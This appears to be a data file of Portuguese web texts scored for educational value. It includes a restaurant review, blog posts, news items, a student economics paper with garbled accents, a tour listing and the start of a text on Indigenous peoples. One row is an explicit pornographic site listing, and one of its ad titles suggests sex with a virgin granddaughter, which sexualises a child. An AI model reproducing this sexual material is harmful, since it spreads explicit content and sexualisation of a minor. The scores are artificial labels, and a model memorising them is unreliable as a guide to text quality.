fluir! Lembre-se: todos nós podemos ser grandes escritores, basta ter dedicação, paixão e, acima de tudo, a vontade de aprender e se expressar.",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional, adequado para o ensino fundamental. Apresenta informações básicas sobre produção textual (1 ponto), aborda a estrutura de um texto e a importância da linguagem (mais 1 ponto), introduz conceitos importantes do currículo escolar (mais 1 ponto), possui estilo de escrita claro e consistente, exemplificando os conceitos (mais 1 ponto) e oferece insights profundos sobre o assunto, sem apresentar conteúdo complexo ou não educacional (mais 1 ponto).",5,1.0 +"Hoje retorno pela 3a vez a um restaurante que é um dos meus preferidos de São Paulo, fui encontrar um grande amigo meu que eu não via fazia um tempo no Aze Sushi, do chefe Edson Yamashita, fica localizado na Rua Dr. Renato Paes de Barros, 769, Itaim Bibi, tel 11 3071.2047 (www.azesushi.com.br)! +Como é de praxe quando vou ao Aze Sushi, entrei no Grubster e fiz uma reserva para as 19h30 e garanti um desconto de 30% na conta, o que é muito importante! Eu trabalho bem perto então fui a pé e fiz questão de chegar em ponto. Meu amigo, coitado, preso no trânsito, chegou um pouco depois. +Enquanto eu o esperava, já devidamente sentado no balcão, comecei a folhear o cardápio e resolvi pedir uma porção de guiozas! Vou contar um negócio para vocês, em restaurantes que primam mais pela comida japonesa tradicional, os pratos quentes são muito, mas muito melhores, são sensacionais, até pratos mais simples como guiozas são um nível acima. Pois bem, vejam abaixo: +Juro que essa é uma das melhores fotos que já tirei, da água na boca só de lembrar. A massinha é super macia, fininha e saborosa, quando você morde sente na hora o sabor da carne de porco desfiada dentro, bem temperada. O pessoal do Aze Sushi serve junto um clássico molhinho que sempre acompanha guiozas, porém em restaurantes como esse pode ter certeza que tudo tem um toque especial. +Seguindo, quando meu amigo chegou, pedimos trouxinhas de salmão enquanto decidíamos o que pedir, o bacana é que vieram dois molhos para a trouxinha, um deles parecendo a base de mel e pimenta. +O legal do Aze Sushi quando você senta no balcão é que o sushiman, além de servir sem pressa, vai explicando sobre cada prato! Começamos com duas fatias de atum chu-toro (semi gordo). Vejam a perfeição com que ele foi cortado, praticamente desmanchando! Demais!! Vejam também o degradê para a parte mais gordurosa e saborosa. +Seguindo, uma das maiores surpresas da noite, sashimi de garoupa! Nunca tinha provado, fiquei bem ansios, sobre tudo pelo formato do sashimi e sua aparência, mais brilhante que os outros e com uma aparência quase translúcida! Sabor absolutamente único, recomendo a todos que tiverem a chance, ele foi servido com um molho a parte. Foi a primeira oportunidade que tive de comer sashimi de garoupa mas ficarei de olho aberto para as próximas, não deixarei passar! +Praticamente junto e ao lado do sashimi de garoupa, nos serviram duas fatias de buri coberto de raspas de limão. Um dos sashimis mais refrescantes que já provei, traz uma outra idéia pro conceito de sashimi, o peixe combina perfeitamente com esse tempero, Nota 10! +Seguindo, tive a oportunidade de comer, pela primeira vez, um sushi de camarão com um molho em cima, parecendo tarê. Sempre comi nigiri de camarão sem nada mesmo, mas esse foi bom, é legal quando o camarão é maior, dá pra sentir bem o sabor dele! +Este próximo sushi é um dos mais diferentes, é o serra com gengibre e cebolinha. Sem dúvida se destaca pela aparência e pelo sabor que com o complementos dos temperos em cima, fazem a experiência se distanciar do lugar comum! +Pronto, jantar terminado, muitíssimo satisfeitos queríamos apenas encerrar com chave de ouro, eu sempre gosto de pedir alguns sushis a la carte! Nossas escolhas foram: guessô (perna de lula) e unagui (enguia de água doce). A lula veio linda demais e o sabor e textura é parecido com o de lula tradicional, mas não vou negar é um pouquinho diferente sim. +Termino por aqui mais uma visita ao Aze Sushi, meu intuito tem sido abranger as diferentes possibilidades que vocês podem encontrar por lá, sequência de sushis, tirashi, combinado de sushi e sashimi. O jantar saiu por volta de 80 reais para cada um já com os 30% de desconto, valeu a pena, mas acho que sem o Grubster ficaria um pouco caro demais para o meu bolso, vou dar uma economizada e ver se volto para o menu degustação!",original,original,original,original,0,0.0 +"Maridos que Falam Através do Silêncio » +O filme foi baseado numa história real, de Hachiko, um cachorro da raça Akita. A história ocorreu no Japão, no entre as décadas de 1920 e 1930. +Algumas pessoas chegavam a duvidar que isso fosse possível, mas observaram que o cachorro não ficava ali o dia inteiro, mas apenas na hora aproximada da chegada do trem. +O que motivava isso? Que nome podemos dar para essa atitude? E, principalmente, que lição podemos tirar para a vida familiar? +Pensando sobre essa história, denominei fidelidade na ausência essa atitude do cachorro. Ele permaneceu fiel, mesmo que o seu dono ali não estivesse. Ele continuou fazendo a sua parte, mesmo que a outra pessoa não o recompensasse. Ele foi um ótimo exemplo do tipo de compromisso e lealdade que deve caracterizar a vida familiar. +Quantas e quantas famílias se desfazem porque as circunstâncias mudam, as pessoas mudam, a realidade é diferente, o contexto é outro. Quantas pessoas que num dia estão completamente comprometidas com a ideia da família, no momento seguinte se abrem mão de tudo por algum tipo de aventura, ou novo sentimento, ou empolgação? +A história de Hachiko nos ensina que independente das circunstâncias, do que eu possa estar sentindo, preciso respeitar, honrar e ser fiel ao compromisso que assumi com a pessoa que amo. +Infelizmente, muitas pessoas atualmente se esqueceram dos reais significados de seus votos matrimoniais, do compromisso de acompanhar na saúde e na doença, na prosperidade ou na adversidade. Parece que há uma tendência de apenas ser fiel enquanto eu me sentir bem. Se eu começar a me frustrar, ou a vida entrar na rotina, então vamos acabar tudo isso, e cada um segue o seu caminho. +É uma pena, pois pessoas que abrem mão da vida a dois desse jeito perdem de conhecer a verdadeira alegria e satisfação provenientes do crescimento juntos, de se tornar indispensável na vida da outra pessoa. +Se a fidelidade for demonstrada, se o marido ou a esposa sabe que independente do que possa acontecer, o compromisso de vocês não se desfará, isso vai possibilitar o crescimento e amadurecimento dos dois na vida, proporcionando novas opções de enfrentamento para as dificuldades. +Mas não são apenas os cônjuges que sofrem pela falta de fidelidade e compromisso. Os filhos também sentem isso. Muitos homens e mulheres são apaixonados pela ideia de serem pais. Veem filmes, leem livros, e acham que ser pai ou mãe será a melhor coisa que poderá lhes acontecer. +Por isso, pais, precisamos olhar para a história de Hachiko e lembrar que é muito importante para os filhos saberem que ao final da tarde, vocês estarão ali para eles. Que no momento da chegada, podem ter certeza de que terão pais interessados em descobrir como foi a sua vida, como estão enfrentando seus problemas, e de que maneiras precisam de ajuda para se tornarem melhores. +Pais, seus filhos precisam de vocês. Agora, cuidado, porque quanto mais velhos se tornam, mais reproduzirão o que estão recebendo de vocês, Quando são pequenos, parece que eles desejam muito a companhia dos pais. E esse desejo será moldado pela quantidade de vezes que receberem atenção, ou que forem rejeitados. Cuidado, porque suas ações hoje estão pavimentando a estrada do relacionamento com seus filhos no futuro. +Esse é um tópico que fiz questão de escrever aqui porque tenho percebido uma tremenda falta de consideração por parte dos filhos para com o grande esforço que seus pais têm dedicado a eles. Muitos filhos parecem se envergonhar dos pais, e por isso procuram evitar a participação deles o máximo possível em suas vidas. +Lembrem-se que muitos pais fazem os maiores esforços para satisfazer as necessidades dos filhos, e eles, por orgulho ou egoísmo, não o reconhecem. Filhos, e falo incluindo filhos adultos, por que não aproveitar esse momento para ligar, ou mandar um recado aos seus pais, dizendo o quão grato vocês estão por estarem onde estão, já que vocês só existem porque eles o fizeram em primeiro lugar. +Tenho certeza de que ...",original,original,original,original,3,0.6 +"Fundada pelo gênio dos efeitos especiais japoneses Eiji Tsuburaya em 1963, o estúdio Tsuburaya Pro conquistou fama mundial com as Séries Ultra, que se iniciaram em 1966 e prosseguem até hoje como uma das maiores franquias da cultura pop japonesa. +Exibido entre 15/09/1968 e 09/03/1969, nas noites de domingo às 19h00, era uma série de terror e sobrenatural que teve 26 episódios de meia hora. Foi a série que sucedeu imediatamente a Ultra Seven na emissora TBS e manteve alto o padrão de qualidade vigente no estúdio. +Com episódios fechados e auto-contidos, a série trazia as aventuras de uma equipe de investigadores de uma organização chamada SRI - Science Research Institute. Com muita astúcia e coragem, eles estavam sempre às voltas com crimes bizarros e com elementos sobrenaturais. +No elenco, o excelente Akiji Kobayashi, o Cap. Muramatsu do primeiro Ultraman (1966), ao lado de Shin Kishida, que interpretou o inventor Sakata, irmão da namorada do herói Hideki Goh em O Regresso de Ultraman (1971). Vários atores que eram ou se tornariam conhecidos em produções da Tsuburaya participaram e a equipe técnica era a melhor que se podia encontrar na época. Com tantos fatores reunidos, a série conseguiu atingir seu público. +Uma seleção de cenas, ao som do tema ""Kyôfu no Machi"": +A canção-tema ""Kyôfu no Machi"" (恐怖の町 ou ""Cidade do Terror"") era tocada no encerramento, já que a abertura consistia apenas na vinheta de fundo azul com o título. A letra da música foi escrita pelo roteirista Tetsuo Kinjô, com melodia de Naozumi Yamamoto. A interpretação foi do grupo Sunny Tones, que depois mudaria seu nome para The Blessen Four e seria conhecido por gravar diversas trilhas sonoras. +Um ótimo feriado pra você também e apareça mais vezes! +E eu espero que, na falta de material oficial, algum fansub dê uma traduzida e organizada no material da série, assim como aconteceu com o Iron King. +É isso. Continue com seu bom trabalho no Blog Daileon. +Vejo que o seriado foi feito pela elite da Tsuburaya. Tantos grandes nomes na lista assim é de encher os olhos. Dá vontade de checar, mesmo não sendo muito chegado em filmes de terror. E uma pena que Kaiki Daisakusen foi mais uma daquelas séries que tiveram sucesso, mas não conseguiram capitalizar. +O clipe da Katokutai ficou muito bom, contando uma história. Ver de noite foi assustador. E teve a participação do grande Masami Horiuchi, que participou de Ultraman Nexus e Kamen Rider Drive, além de fazer uma ponta no filme do Ultraman Mebius. Esse ator me exerce uma estranha fascinação. Um carisma difícil de explicar. Ele é simpático, mas tem algo que causa medo. Alguém que parece que está escondendo algum terrível segredo. E é isso que eu gosto nele. +Vejo nos últimos anos a Tsuburaya trabalhando para ampliar e dar mais variedade à franquia principal. Espero que isso lhes permita ousar mais em conceitos e até produzir coisas mais arrojadas, sem ligação com Ultras ou super-heróis. +Claro que hoje em dia a ligação com brinquedos e patrocinadores é ainda mais essencial do que era no passado, mas acho que coisas assim podem ser resolvidas com criatividade. Espero que celebrem os 50 anos do Kaiki Daisakusen com alguma nova versão, assim como fizeram com o Ultra Q - Dark Fantasy. Vamos aguardar. +E esse ator, bem que eu achava ele familiar, mas não lembrava onde o tinha visto. +Eu tenho a sensação de que, na época, tudo pertencia a um mesmo ""gênero"" que tinha como elemento central a ficção científica, a fantasia e amedrontador. Isso, claro, foi bem antes da franquia Ultra se consolidar como uma linhagem de super-heróis cinquentenária e com dezenas de produções derivadas. E outras franquias populares do Tokusatsu comoKamen Rider, Super Sentai e Metal Heroes sequer existiam ainda. +Então, ao que tudo indica, Kaiki Daisakusen foi mais uma daquelas tentativas experimentais da Tsuburaya que ainda estava aprendendo a mensurar o sucvesso e a representação icônica de Ultraman na cultura pop japonesa. Tanto é que a terceira produção da fran...",original,original,original,original,2,0.4 +"Primeiro fundo fechado de servidores públicos criado no País, a Fundação de Previdência Complementar do Estado de São Paulo (SP-Prevcom) vai agora brigar para gerir a aposentadoria complementar dos servidores da cidade de São Paulo. +Num mercado que pode vir a ser aberto para os grandes bancos, caso a proposta de reforma da Previdência seja aprovada pelo Congresso, a SP-Prevcom quer abocanhar também a gestão de previdência complementar de municípios de dentro e fora do Estado. Também está no radar da fundação a gestão da previdência complementar de Estados menores. +O presidente da SP-Prevcom, Carlos Henrique Flory, disse ao jornal O Estado de S. Paulo e ao Broadcast (serviço de notícias em tempo real da Agência Estado) que as conversas com o município de São Paulo estão avançadas. Se o texto da reforma for aprovado do jeito que está, a concorrência poderá ser feita por meio de licitação também com as entidades abertas de previdência complementar, administradas por grandes instituições financeiras. +Flory diz que não tem medo da concorrência e lembra que a fundação não tem fins lucrativos e, portanto, pode oferecer taxas de administração menores. ""Não temos nenhum problema de concorrer com as abertas. Temos um limite de taxa de no máximo 1%. As abertas trabalham com 3% e 4%"", diz. +A SP-Prevcom tem hoje cerca de 20 mil participantes e patrimônio de R$ 670 milhões - superior ao do Funpresp, a previdência complementar dos servidores da União. +Um fundo multipatrocinado para reunir a previdência complementar de vários municípios do Estado está prestes a ser criado. ""Existem muitos municípios que têm poucos servidores que ganham acima do teto. Vamos juntar tudo num fundo."" +O Estado de São Paulo já aprovou uma lei permitindo que a fundação faça a gestão da aposentadoria de Estados e municípios. Para Flory, daqui a 40 anos os fundos dos servidores serão maiores dos que os estatais, como a Previ, do BB. +Já há um projeto de lei que tramita na Câmara dos Deputados para permitir que Estados, Distrito Federal e municípios ""contratem"" o Fundo de Previdência Complementar do Servidor Público Federal do Executivo (Funpresp-Exe) para administrar seus benefícios. +A ideia é permitir que mesmo locais menores, onde a criação e manutenção de um fundo próprio não é viável, tenham um plano de previdência complementar. Mas a abertura da gestão para a iniciativa privada pode retirar fatia desse mercado do Funpresp. As informações são do jornal O Estado de S. Paulo.",original,original,original,original,2,0.4 +"Trabalho Interdisciplinar de Microeconomia (1) | Demanda | Esmalte +saveSave Trabalho Interdisciplinar de Microeconomia (1) For Later +Analise de Demanda - PÚBLICO - V_marco 2010 +Ch31 Oferta e Demanda Agregadas +Exercicios de Eco Org +Atividade de Casa Aula 2 Respostas .Docx +Capitulo 4 - Damanda - MRP +Lista de exerc+¡cios - 2 +Introduo: Este trabalho tem como foco principal o fornecimento de informaes sobre a demanda e a oferta de esmaltes no Brasil. +Porm, sero abordados brevemente assuntos relacionados ao tema, como o mercado. +Histria: O esmalte surgiu na China por volta de 3 000 a.C., h cinco mil anos. Ele era feito de goma-arbica, clara de ovo, gelatina e cera de abelha, atualmente uma variao da tinta usada em pintura de carros. A cor no princpio indicava a classe social da mulher que o usava. Durante a dinastia Chou, no sculo 7 a.C., apenas os membros da famlia real podiam usar uma pasta dourada ou prateada na unha essas cores mudaram mais tarde para vermelho e preto. Por volta do ano 30 a.C., pintar as unhas tambm virou moda entre os egpcios, que mergulhavam os dedos em tintura de hena. Mulheres das classes inferiores s estavam autorizadas a pintar as unhas com tons claros. O primeiro esmalte, como o de hoje, foi feito em 1925. Com o tempo o esmalte invadiu o mundo da moda e hoje todas as mulheres consideram um acessrio indispensvel para que seu look esteja completo. Mercado Abordagem breve sobre o mercado de esmaltes no Brasil O mercado de esmaltes do tipo Competitivo, existem vrios compradores e vrios vendedores. Nesse tipo de mercado, nenhum comprador ou vendedor individualmente consegue estabelecer preos de seus produtos. Esses preos so determinados pelo conjunto. No mercado competitivo, a competio perfeita, ou seja, os produtos so vistos como iguais, neste caso, os esmaltes possuem a mesma qualidade, as marcas so igualmente impactantes etc. Esse mercado regido pelas Leis de Demanda e Oferta. Chegam ao Brasil cerca de 7 mil itens de beleza por ano movimentando 25 bilhes de reais. O motivo para o aumento de consumo por esses itens foi o aumento significativo do poder de compra da populao, principalmente das classes C e D. O ingresso da mulher em cargos executivos e o fato de que a populao feminina brasileira maior que a masculina tambm justificam o aumento significativo na demanda de cosmticos. Assim, com um maior poder aquisitivo, os consumidores, majoritariamente mulheres, investiram mais em beleza e nas unhas. Atualmente, o Brasil o segundo maior consumidor de cosmticos e esmaltes do mundo, perdendo apenas para os EUA. O setor de beleza foi um dos nicos que no foi afetado pela crise econmica mundial. Uma curiosidade que surgiu a partir desse fato o chamado ndice Esmalte. Tudo surgiu a partir do conceito de ndice Batom, conhecida tendncia de aumento das vendas de cosmticos quando a economia no vai bem. Segundo o ndice Batom, nos perodos de recesso econmica, as mulheres deixam de comprar itens mais caros como sapatos e vestidos e passam a comprar cosmticos, como o +batom. Porm, pesquisas realizadas por uma consultoria da National Purchase Diary (NPD) mostrou que s vsperas de uma recesso econmica nos Estados Unidos e na Europa em 2010, as vendas de esmaltes subiram 54%, enquanto a de batons 14%. Por esse motivo, a mdia chegou a questionar se o conceito ndice Batom no deveria ser substitudo e atualizado pelo nome ndice esmalte. +Demanda: A demanda de uma pessoa ou um grupo de pessoas indica a quantidade de esmaltes que a pessoa ou o grupo quer consumir num determinado espao de tempo. Existem variveis de demanda que afetam diretamente a quantidade demandada dos esmaltes sendo elas: Preo: Entre os esmaltes populares, varia entre R$ 1,50 a 3,50. Mas esmaltes importados, como os da channel, chegam a custar R$ 90 reais. Preo dos outros bens Substitutos: So bens que podem ser consumidos substituindo outro, pois eles exercem a mesma funo e tende a levar o consumidor a escolher um s entre as opes. Exemplo: Esmaltes da Risqu e da Impal...",original,original,original,original,3,0.6 +"Arquivos Vídeos Caseiros - Só Casadas - Fotos Amadoras, Caseiras, Porno , Sexo , Vídeos Amadores Gratis +Início +Categorias +Fotos Amadoras +Vídeos Amadores +Tags +Contato +Sistema de Parceria +Ranking Parceiros +Vídeos Caseiros +Vídeos Caseiros são aqueles que os maridos filma as suas esposas peladas ou até mesmo fazendo sexo bem gostoso. +151 views +Arrombou o cu da casadinha novinha +Arrombou o cu da casadinha novinha, vídeo de sexo anal com essa esposa branquinha e ela mostrando como que ficou arrombada. +161 views +Esposa na cabine erótica fodendo com dois +Esposa na cabine erótica fodendo com dois, vídeo pornô dessa morena no boquete para um desconhecido e dando a buceta para o amante. +1691 views ADS +Gp de luxo na sua cidade +6432 views ADS +Esta porcaria pode deixar seu pênis extremamente grande +4994 views ADS +Vovô comendo netinha virgem +9822 views ADS +safadas rabudas on na cam +3535 views ADS +Gostosas a sua disposição +107 views +Sexo anal com a casada rabuda +Sexo anal com a casada rabuda, vídeo pornô do marido do pau grande metendo a rola até o saco no cuzinho arrombado da sua mulher. +669 views +Corno amarrado e a esposa trepando com comedor +Corno amarrado e a esposa trepando com comedor, vídeo pornô dessa loira com marquinhas de biquíni humilhando o seu marido corno. +532 views +Esposa abrindo o cuzinho para o marido comer +Esposa abrindo o cuzinho para o marido comer, vídeo pornô de sexo anal com essa casadinha a bunda redondinha , que cu delicioso que ela tem. +322 views +Olha que cuzinho lindo da esposa branquinha +Olha que cuzinho lindo da esposa branquinha, vídeo pornô amador do marido comendo o cu da sua mulher e depois olhando ele todo arrombado. +536 views +Novinha chupando pauzudo na cabine erotica +Novinha chupando pauzudo na cabine erotica, olha que tesão de moreninha gata demais fazendo boquete para o dotado na casa de swing. +720 views +Filmando a esposa branquinha na praia pelada +Filmando a esposa branquinha na praia pelada, olha ai que show de exibicionismo dessa casadinha mostrando seus peitinhos lindos em publico. +565 views +Exibindo a esposa de maiô no parque aquático +Exibindo a esposa de maiô no parque aquático, olha ai que tesão que essa morena da bunda gostosa estava, comportada mais chamando a atenção de todos. +568 views +Esposa branquinha chupando pau do comedor +Esposa branquinha chupando pau do comedor, ela fazendo um vídeo para o marido corno caprichando no boquete antes de dar aquela trepada. +426 views +Esposa chupando o pau grande do marido +Esposa chupando o pau grande do marido, vídeo pornô amador dessa casadinha fazendo boquete e ainda levando gozada na boquinha. +567 views +Gozando na cara da esposinha novinha +Gozando na cara da esposinha novinha, vídeo amador dessa lorinha gata demais depois de foder por horas levando aquela gozada na cara. +1 +2 +3 +… +67 +Próximo +Parceiro Vip +Parceiros Top ++ Parceiros +>>> Cadastre seu Site <<< +Só Casadas - Se você busca pelas melhores fotos amadoras está no lugar certo, aqui tem o melhor conteúdo amador brasileiro, são várias fotos das casadas mais gostosas do Brasil, fotos de sexo, fotos porno e tem os vídeos também, são milhares de vídeos amadores e caseiros, tem vídeos de sexo e porno também, casadas trepando , cornos , casais liberais e muito mais tudo em um único site pra você , boa punheta a todos.",original,original,original,original,0,0.0 +"Doživljaj koji organizira Lucas +Nos encontraremos na sede do coletivo comunitário (Caxxyri), onde farei uma rápida apresentação do projeto, trocaremos experiências sobre o assunto e farei uma oficina de compostagem orgânica com baldes (para casas e apartamentos). Depois, faremos um passeio agradável, pela APA Floresta Manaós (Área de proteção ambiental) considera o terceiro maior fragmento verde em área urbana do mundo. Lá vamos conhecer a Universidade Federal do Amazonas (a entrada do campus fica bem próximo da sede do coletivo). Dentro da Universidade pegaremos uma trilha (20min) que passa pelo meio do fragmento florestal, com mata nativa e alguns animais da fauna amazônica (que talvez possam ser observados). o destino dessa trilha é um conjunto habitacional (Acariquara) que fica dentro da APA, lá conheceremos uma casa coletiva que funciona como um espaço agroecológico, onde poderemos conhecer arvores frutíferas regionais e plantar algumas mudas (também poderemos tomar um café/chá da tarde). E por último, a caminho da saída, passaremos por um lago que fica localizado dentro do conjunto. +Nos encontraremos na sede do coletivo comunitário (Caxxyri), onde farei uma rápida apresentação do projeto, trocaremos experiências sobre o assunto e farei uma oficina de compostagem orgânica com baldes (para casas e apartamentos). Depois, faremos um passeio agradável, pela APA Floresta Manaós (Área de proteção ambiental) considera o terceiro maior fragmento verde em área urbana do mundo. Lá vamos conhecer a Universidade Federal do Amazonas (a en… +Od $10 +Upoznajte svog domaćina (Lucas) +Sou um dxs coordenadorxs do Caxxyri (Coletivo Comunitário do Bairro Coroado). O coletivo trabalha com agricultura urbana e educação popular no bairro, sou morador do Coroado e voluntário no projeto. Me formei em filosofia ano passado e sou apaixonado por educação (principalmente não-formal). Sempre me interessou a causa ambiental, me aproximei da agricultura e compostagem orgânica em uma casa coletiva que morei em Manaus, e depois nos projetos do coletivo Caxxyri. Depois de 3 anos como coordenador do coletivo acredito que posso ajudar a mutiplicar essa ideia, através de vivências, oficina, troca de experiências, e quintais de plantio. Isso tudo compartilhando momentos agradáveis em um dia de passeio e aprendizado. +Sou um dxs coordenadorxs do Caxxyri (Coletivo Comunitário do Bairro Coroado). O coletivo trabalha com agricultura urbana e educação popular no bairro, sou morador do Coroado e voluntário no projeto. Me formei em filosofia ano passado e sou apaixonado por educação (principalmente não-formal). Sempre me interessou a causa ambiental, me aproximei da agricultura e compostagem orgânica em uma casa coletiva que morei em Manaus, e depois nos projetos do coletivo Caxxyri. Depois de 3 anos como coordenad… +Caxxyri: Coletivo comunitário do bairro Coroado, que trabalha com agricultura urbana e educação popular. +UFAM: Com uma APA (área de proteção ambiental) de 6,7 milhões de metros quadrados, é considerado o terceiro maior fragmento verde em área urbana do mundo e o primeiro do Brasil. +Trilha UFAM Conjunto Acariquara: Localizada dentro da APA Manaós. +Espaço Agroecológico do Acariquara: Casa coletiva que funciona como um espaço agroecológico. +Para o calor de Manaus: Ir com roupas leves +Para trilha e quintais: Calçados fechados (de preferência Botas)",original,original,original,original,2,0.4 +"World Digital Library será apresentada hoje de manhã na sede da UNESCO, em Paris, durante uma conferência de imprensa. +A partir de hoje, o acervo de diversas bibliotecas e arquivos mundiais estará reunido num só site. A plataforma, de nome World Digital Library (Biblioteca Digital Mundial), será apresentada pelas 11.00 na sede da UNESCO (Organização das Nações Unidas para a Educação, Ciência e Cultura), em Paris. Depois, no endereço www.worlddigitallibrary.org poderão ser consultados, gratuitamente, livros e manuscritos, mas também mapas, gravuras, fotografias e pinturas, bem como partituras ou filmes. +O português é uma das sete línguas em que o site estará disponível, juntamente com o inglês, o francês, o espanhol, o chinês e o russo. Não obstante, as bibliotecas e arquivos nacionais decidiram ficar de fora desta iniciativa. Todos os materiais em língua portuguesa disponíveis na nova plataforma digital foram por isso doados por instituições do Brasil. +Apesar do projecto ter a chancela da UNESCO, a ideia partiu de James Billington, director da Biblioteca do Congresso dos EUA, que em 2005 o apresentou aos responsáveis por aquela organização da ONU. O objectivo é não só facilitar o acesso a um vasto leque de objectos e materiais, mas também promover valores como a diversidade linguística e cultural, unindo os vários povos e, simultaneamente, reduzindo o ""fosso digital"" entre os países desenvolvidos e o Terceiro Mundo. +De acordo um comunicado da UNESCO, o projecto visa ainda aumentar a qualidade e a variedade da oferta cultural na Internet, através da divulgação de materiais que poderão ser utilizados por ""professores e académicos, mas também pelo grande público"". Para atingir estes objectivos, e desenvolver a nova plataforma, a Biblioteca do Congresso (EUA), colaborou com 32 outras instituições internacionais, incluindo a Biblioteca de Alexandria. +Entre os artigos que a partir de hoje poderão ser encontrados online encontra-se o Codex Giga, cedido pela Biblioteca Nacional da Suécia e considerado o maior manuscrito medieval. A Biblioteca Nacional do Brasil, por outro lado, cedeu algumas das mais antigas fotografias da América Latina, bem como mapas e obras cartográficas da época dos Descobrimentos. +Retrado do ""DN"" de hoje +Autoria e outros dados (tags, etc) +Tags: +arquivos +bibliotecas +livros +unesco +publicado às 11:23 +link do post +comentar +favorito +Prémio Azorín 2009 +por Carlos Pereira \foleirices, em 21.04.09 +LOLA BECCARIA obteve o Prémio Azorín 2009 pelo seu livro ""Arte de Perder"". +A escritora nasceu em Ferrol, Corunha, em 1963. É doutorada em Filologia Hispânica e terapeuta gestual pelo Centro de Terapia e Psicologia de Madrid.. +Publicou o seu primeiro romance - A Debutante - em 1996; +Foi finalista do Prémio Nadal em 2001 com o seu segundo romance ""A Lua em Jorge""; +Em 2004 publica ""Mulher Nua"". +Autoria e outros dados (tags, etc) +Tags: +escritores espanhóis +livros +lola beccaria +prémio azorín +prémios literários +publicado às 11:03 +link do post +comentar +favorito +Traídos pelo preconceito +por Carlos Pereira \foleirices, em 20.04.09 +Susan Boyle +Autoria e outros dados (tags, etc) +Tags: +susan boyle +vídeos +publicado às 15:11 +link do post +comentar +favorito +Vladímir Nabokov - Publicação da sua última novela +por Carlos Pereira \foleirices, em 20.04.09 +A última novela do autor russo Vladímir Nabokov (1899-1977), intitulada ""O Original de Laura"" será publicada no próximo mês de Novembro, de acordo com o anúncio feito pela editora Penguin. Nabokov escreveu esta obra em 138 tarjetas que Penguin quer reproduzir junto a uma transcrição do texto em página contígua. Nabokov dera instruções para que a obra fosse destruída depois da sua morte. +Autoria e outros dados (tags, etc) +Tags: +escritores +livros +vladimir nabokov +publicado às 13:06 +link do post +comentar +favorito +James Graham Ballard [1930-2009] +por Carlos Pereira \foleirices, em 20.04.09 +James Graham Ballard, autor do Império do Sol que Spielberg adaptou ao cinema faleceu no dia 19 de Abril aos 78 ...",original,original,original,original,3,0.6 +"olá, Cristina, é realmente uma pena. +Não há caixinha de comentários mais viciante na blogo :-)) +mas acredito que ele volte, vai ver! +JuliaML a 14 de Maio de 2009 às 21:11 +Pois é..., o anónimo faz mesmo falta... +Espero que tenha razão, e que o JM, depois de um merecido descanso, volte com energia redobrada! +Cristina a 14 de Maio de 2009 às 21:19",original,original,original,original,0,0.0 +"A preocupação crescente dos consumidores com sua saúde, as populações expandindo rapidamente, a ocorrência de doenças crônicas, e a disposição de substituir agentes farmacêuticos estão impulsionando o mercado de ativos nutracêuticos na Europa e nos Estados Unidos. +Essas regiões representam duas de três mercados regionais chave para os agentes nutracêuticos, contabilizando juntos cerca de 8 bilhões de dólares, sendo que o mercado dos EUA é estimado o maior em valor. Outras razões para o desenvolvimento desse mercado incluem estilos de vida saudáveis focados no bem-estar, alinhado com o número crescente de academias e entusiastas do fitness. +Vitaminas, proteínas e minerais respondem por partes semelhantes em ambas as regiões, enquanto ingredientes relacionados à digestão e à saúde intestinal se classificam de modo distinto. +A categoria de vitaminas é líder tanto nos Estados Unidos, como na Europa, representando cerca de um terço do valor total do mercado em ambas as regiões. Proteínas entram em segundo lugar no rank, seguidas dos minerais. No entanto, flavonoides polifenóis e carotenoides são mercados maiores na Europa, devido a um maior interesse por produtos naturais. +Fortalecer o sistema imune é um dos principais benefícios buscados pelos consumidores norte-americanos e europeus, especialmente depois do início da pandemia do COVID-19. Ativos de reforço de imunidade representam uma grande parte do mercado nos EUA e na Europa, como é detalhado no estudo Active Ingredients in Nutraceuticals, da Kline. Nos Estados Unidos, a demanda por fortalecedores do sistema metabólico é muito maior do que a demanda por saúde digestiva. Na Europa, o primeiro é superficialmente menor que o segundo. +Produtos misturados/personalizados com múltiplos benefícios e marcas “limpas” e naturais são as principais tendências na Europa e nos Estados Unidos. +Em ambas as regiões, há uma preferência crescente do consumidor por produtos com misturas de ativos complementários, fornecendo maior eficiência e vários benefícios, em contraste com produtos que possuem apenas um benefício específico. Por enquanto, misturas de diferentes tipos de vitaminas e minerais, junto de polifenóis, estão se expandindo com a promessa de melhorar a saúde geral e a imunidade. Similarmente, probióticos, prebióticos e enzimas estão sendo cada vez mais incluídos nessas misturas com o intuito de melhorar a saúde intestinal e digestiva, além de providenciar benefícios adicionais como a saúde feminina, a saúde da pele, a melhora do humor e o fortalecimento da imunidade. +A tendência em direção à produtos taxados como naturais e “limpos” é muito proeminente, especialmente na Europa. Ainda, a demanda por produtos customizados, influenciada pela crescente indústria de e-commerce, que permite maior interação com os consumidores¸ está crescendo cada vez mais. +A pandemia do COVID-19 impactou positivamente o mercado global de nutracêuticos. +A pandemia impulsionou a demanda por nutracêuticos tanto na Europa, como nos Estados Unidos, e isso deve seguir em curto a médio prazo, à medida que as pessoas se tornam mais conscientes da necessidade de fortalecer sua imunidade. +Isso beneficiou a maioria das categorias de ativos, em especial vitaminas e alguns minerais, mas também probióticos, prebióticos, polifenóis e carotenoides. Esses ativos são cada vez mais combinados para providenciar melhoras tanto na imunidade, como na saúde em geral. +Por outro lado, o avanço das proteínas em ambas as regiões foi limitado. A razão: o segmento de esportes foi duramente impactado pela pandemia do COVID-19, que forçou o fechamento temporário das instalações esportivas. +Espera-se que o mercado Europeu cresça sutilmente mais rápido que o dos Estados Unidos. +Deficiências nutricionais nos Estados Unidos sempre foram mais proeminentes que na Europa devido à piores hábitos de alimentação. Como resultado, o mercado de nutracêuticos dos EUA já é mais maduro e bem estabelecido. Assim, futuramente, a Europa crescerá numa taxa C...",original,original,original,original,3,0.6 +"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E como vivem os povos indígenas hoje em dia? A história do Brasil não começou em 1500, e os povos originários têm muito a nos ensinar sobre respeito à natureza, cultura e organização social. + +Por muito tempo, a história dos povos indígenas foi contada de maneira errada, como se fossem um povo único e do passado. Mas a verdade é que existem centenas de povos indígenas diferentes no Brasil, cada um com sua própria língua, costumes e tradições. Eles não são 'coisa do passado', mas sim comunidades vibrantes e que lutam para preservar sua cultura e seus direitos no presente. + +Imagine que o Brasil é como um grande mosaico, e cada povo indígena é uma peça única e valiosa. Alguns exemplos são os Yanomami, que vivem na Amazônia e são conhecidos por sua relação profunda com a floresta; os Guarani, que habitam diversas regiões do país e lutam pela demarcação de suas terras; e os 